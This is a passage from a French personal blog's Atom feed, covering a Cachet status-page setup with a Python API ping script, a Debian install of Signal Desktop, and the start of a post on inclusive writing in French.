&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;DocumentRoot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sx"&gt;/var/www/html/cachet/public&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/var/www/html/cachet/public&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;granted&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c"&gt;# Used by Apache 2.4&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Indexes&lt;span class="w"&gt; &lt;/span&gt;FollowSymLinks
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;AllowOverride&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;All&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Order&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;allow,deny
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Allow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;all&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Directory\&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ErrorLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/error.log
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;CustomLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/access.log&lt;span class="w"&gt; &lt;/span&gt;combined
&lt;span class="nt"&gt;&amp;lt;/VirtualHost\&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;À ce stade, &lt;em&gt;cachet&lt;/em&gt; est installé… mais n&amp;rsquo;a que peu d&amp;rsquo;interêt. Il devient utile s&amp;rsquo;il est capable de se mettre à jour sans intervention humaine. Après lecture de &lt;a href="https://docs.cachethq.io/reference"&gt;la documentation&lt;/a&gt;, je comprends que &lt;em&gt;cachet&lt;/em&gt; propose une API et que je peux le mettre à jour via… un script &lt;em&gt;python&lt;/em&gt; par exemple.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#! /usr/bin/env python3&lt;/span&gt;
&lt;span class="c1"&gt;# -\*- coding: utf-8 -\*-&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt; 

&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;http://status.example.org/api/v1/ping&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour aider à écrire les requêtes, j&amp;rsquo;utilise la librairie &lt;a href="https://github.com/dmsimard/python-cachetclient"&gt;python-cachetclient&lt;/a&gt; qui s&amp;rsquo;installe par une des deux commandes suivantes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip3&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;python-cachetclient
pip3&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;git+https://github.com/dmsimard/python-cachetclient
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les &lt;a href="https://github.com/dmsimard/python-cachetclient/blob/master/contrib/example.py"&gt;examples&lt;/a&gt; sont clairs et j&amp;rsquo;utilise — comme version 1 — le script à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# Python script for status.example.org&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# Author: Pierre BT&lt;/span&gt;
&lt;span class="c1"&gt;# Thanks to cahethq and python-cachetclient&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;cachetclient.cachet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;cachet&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;ENDPOINT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://status.example.org/api/v1&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;API_TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;140if12345ABCDefghijkl&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;SATUS_OK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;SATUS_PERF_ISSUES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;SATUS_PARTIAL_OUTAGE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="n"&gt;INCIDENT_INVESTIGATING&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;INCIDENT_IDENTIFIED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;INCIDENT_WATCHING&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="n"&gt;INCIDENT_FIXED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;

&lt;span class="n"&gt;SITEWEB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://example.org&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;SITEWEB_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ping_site_web&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;components_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;components&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;incidents&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot; Ping site web and update status&lt;/span&gt;
&lt;span class="sd"&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;components&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;components_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SATUS_OK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;components&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;components_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SATUS_PERF_ISSUES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;incidents&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Erreur &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                        &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; sur &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Tout le monde est sur le pont pour régler ça…&amp;#39;&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;et ce message est automatique.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                    &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;INCIDENT_INVESTIGATING&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;components&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SITEWEB_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SATUS_PARTIAL_OUTAGE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;incidents&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Problème grave sur le &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Tout le monde est sur le pont pour régler ça… &amp;#39;&lt;/span&gt;
                &lt;span class="s1"&gt;&amp;#39;et ce message est automatique.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;INCIDENT_INVESTIGATING&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="c1"&gt;# main method&lt;/span&gt;
&lt;span class="c1"&gt;# &lt;/span&gt;
&lt;span class="n"&gt;components&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cachet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Components&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;API_TOKEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;incidents&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cachet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Incidents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;API_TOKEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ping_site_web&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SITEWEB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SITEWEB_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;components&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;incidents&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il reste à ajouter ce script dans une tache &lt;strong&gt;cron&lt;/strong&gt; et la première automatisation — certes assez basique — est en place.&lt;/p&gt;
&lt;p&gt;Enjoy et merci aux &lt;em&gt;devs&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://unsplash.com/"&gt;Unsplash&lt;/a&gt;par &lt;a href="https://unsplash.com/photos/6BzGt4OXzeM"&gt;Jonathan Perez&lt;/a&gt;. Les grincheux·ses pourraient dire que c&amp;rsquo;est facile d&amp;rsquo;utiliser une photo d&amp;rsquo;un boite de cachets… mais ce sont des grincheux·ses non ?&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Signal-desktop, la version desktop de Signal</title><link href="http://blog.namok.be/2017-11-01-signal-desktop-la-version-desktop.html" rel="alternate"/><published>2017-11-01T00:00:00+01:00</published><updated>2017-11-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-11-01:/2017-11-01-signal-desktop-la-version-desktop.html</id><summary type="html">Signal-desktop, la version desktop de Signal</summary><content type="html">&lt;p&gt;&lt;img alt="439-1200x.jpg" src="/images/439-1200x.jpg" title="439-1200x.jpg, nov. 2017"&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;application &lt;strong&gt;Signal&lt;/strong&gt; est une application de messagerie. Cette application fournit le protocole éponyme à &lt;em&gt;Whatsapp&lt;/em&gt; et &lt;em&gt;Facebook messenger&lt;/em&gt;. Parmis &lt;a href="2017-03-28-communication-instantanee-un-grand-pas-en-avant.html"&gt;toutes les applications de messagerie, c&amp;rsquo;est Signal qui a ma préférence&lt;/a&gt;. Une des raisonst est qu&amp;rsquo;elle n&amp;rsquo;appartient pas — comme les deux autres — à un GAFAM.&lt;/p&gt;
&lt;p&gt;Bref.&lt;/p&gt;
&lt;p&gt;Il existe maintenant &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; une application &lt;em&gt;desktop&lt;/em&gt; qui permet d&amp;rsquo;utiliser Signal à partir de son ordinateur… et donc de bénéficier d&amp;rsquo;un vrai clavier.&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;installer, j&amp;rsquo;adapte les infos &lt;a href="https://signal.org/blog/standalone-signal-desktop/"&gt;en provenance du blog de Signal&lt;/a&gt; parce qu&amp;rsquo;avec &lt;em&gt;debian&lt;/em&gt;, on n&amp;rsquo;est pas obligé d&amp;rsquo;utiliser &lt;code&gt;sudo&lt;/code&gt;. Ce qui donne donc:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;https://updates.signal.org/desktop/apt/keys.asc&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt-key&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;/etc/apt/sources.list.d/signal-xenial.list&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;signal-desktop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… ce qui ne fonctionne pas pour moi car je dois, au préalable installer &lt;code&gt;apt-transport-https&lt;/code&gt; par&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;apt-transport-https
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dès que c&amp;rsquo;est installé et lancé, il petit scan d&amp;rsquo;un QR-code à partir de mon smartphone et tout roule.&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://cdn.gratisography.com/photos/439H.jpg"&gt;Gratisography&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Avant, l&amp;rsquo;application qui existait était une &lt;em&gt;Chrome app&lt;/em&gt; nécessitant d&amp;rsquo;avoir installé Google chrome et de l&amp;rsquo;avoir lancé. Deux choses que je ne fais pas car je préfère utiliser Firefox comme navigateur. Pas de Google chrome chez moi (au moment où j&amp;rsquo;écris ce billet).&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le corbeau et la renarde ou un peu d'écriture inclusive.</title><link href="http://blog.namok.be/2017-09-28-le-corbeau-et-la-renarde.html" rel="alternate"/><published>2017-09-28T00:00:00+02:00</published><updated>2017-09-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-09-28:/2017-09-28-le-corbeau-et-la-renarde.html</id><summary type="html">Le corbeau et la renarde ou un peu d'écriture inclusive.</summary><content type="html">&lt;p&gt;&lt;img alt="corbeau-renarde.jpg" src="/images/corbeau-renarde.jpg" title="corbeau-renarde.jpg, sept. 2017"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le corbeau et la renarde&lt;/p&gt;
&lt;p&gt;Maitre Corbeau sur un arbre perché,&lt;br&gt;
Tenait en son bec un fromage.&lt;br&gt;
Maitresse Renarde par l&amp;rsquo;odeur alléchée,&lt;br&gt;
Lui tint à peu près ce langage:&lt;br&gt;
Hey corniaud !&lt;/p&gt;
&lt;p&gt;Jeaninne du Puit&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Jean de la Fontaine nous a raconté jadis une histoire faisant intervenir un corbeau et un renard. S&amp;rsquo;il avait raconté son histoire aujourd&amp;rsquo;hui, il aurait peut-être choisi des personnages de genre différent; un corbeau et une renarde par exemple.&lt;/p&gt;
&lt;p&gt;Afin de réduire les inégalités homme-femme dans la société, dans les actes que chacun pose, il faut commencer par le &lt;strong&gt;langage&lt;/strong&gt;. Notre manière de parler est fortement liée à notre manière de voir les choses, notre manière de penser.&lt;/p&gt;
&lt;p&gt;En français, il n&amp;rsquo;existe pas de genre neutre ou indifférencié spécifique et c&amp;rsquo;est le masculin qui joue officiellement ce rôle. Tout comme pour l&amp;rsquo;accord qui suit &lt;a href="http://www.lemonde.fr/culture/article/2012/01/14/genre-le-desaccord_1629145_3246.html"&gt;la règle du &lt;em&gt;masculin l&amp;rsquo;emporte&lt;/em&gt;&lt;/a&gt; alors que jadis &lt;a href="https://fr.wikipedia.org/wiki/R%C3%A8gle_de_proximit%C3%A9"&gt;la règle était celle de proximité&lt;/a&gt;. Ces règles de la langue induisent un &lt;em&gt;masculin&lt;/em&gt; supérieur au &lt;em&gt;féminin&lt;/em&gt;, un &lt;em&gt;homme&lt;/em&gt; supérieur à la &lt;em&gt;femme&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Masturbation cérébrale, considération de &lt;em&gt;bobo féministe&lt;/em&gt; — voire de &lt;em&gt;woke&lt;/em&gt; — ou fait de société, que propose-t-on ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les collaborateurs peuvent…&lt;/li&gt;
&lt;li&gt;Les collaborateurs et les collaboratrices peuvent…&lt;/li&gt;
&lt;li&gt;Les membres du personnel peuvent…&lt;/li&gt;
&lt;li&gt;Les collaborateur·trices peuvent…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour certains la première formulation fait tout bonnement fi des femmes tandis que pour d&amp;rsquo;autres c&amp;rsquo;est une application stricte et simple de la règle du &lt;em&gt;masculin l&amp;rsquo;emporte&lt;/em&gt; — on notera la formulation de la règle. En tout cas, on n&amp;rsquo;y voit pas une volonté d&amp;rsquo;inclure explicitement les femmes dans le groupe de collaborateur·trices &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;La deuxième formulation — la double flexion — cite explicitement les hommes et les femmes et on peut évidemment lui reprocher sa longueur. Je passe rapidement sur la troisième — l&amp;rsquo;épicène — qui n&amp;rsquo;est utilisables que lorsque qu&amp;rsquo;il existe un autre mot pour désigner les personnes représentées pour la quatrième formulation qui utilise le &lt;strong&gt;point médian&lt;/strong&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; pour concentrer à l&amp;rsquo;écrit la notion de masculin/féminin &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Cette manière d&amp;rsquo;écrire &lt;a href="http://www.liberation.fr/france/2017/09/27/pretes-a-utiliser-l-ecriture-inclusive_1598867"&gt;qui fait un peu le &lt;em&gt;buzz&lt;/em&gt;&lt;/a&gt; ces jours-ci fait partie de &lt;strong&gt;l&amp;rsquo;écriture inclusie&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Cette écriture inclusive est une proposition visant à &lt;em&gt;assurer une égalité des représentations homme-femme&lt;/em&gt;. Je cite le &lt;a href="http://www.ecriture-inclusive.fr/"&gt;site web officiel&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;L&amp;rsquo;écriture inclusive désigne l&amp;rsquo;ensemble des attentions graphiques et syntaxiques permettant d&amp;rsquo;assurer une égalité des représentations entre les femmes et les hommes.&lt;/p&gt;
&lt;p&gt;Pour faire véritablement changer les mentalités, il faut agir sur ce par quoi elles se construisent : le langage.&lt;/p&gt;
&lt;p&gt;(…)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pour tenter d&amp;rsquo;être plus inclusif dans son écriture, dans sa manière de parler… et par extension dans sa manière de penser, voici quelques pistes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;accorder en genre le nom des fonctions, métiers…&lt;br&gt;
&lt;em&gt;une chirurgienne, une plombière, une pompière, un infirmier, un sage-homme (?) ou encore un prostitué…&lt;/em&gt;&lt;br&gt;
    On ne dira évidemment plus « Madame le président » mais bien « Madame la présidente »… qui ne sera plus la femme du président ceci dit.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
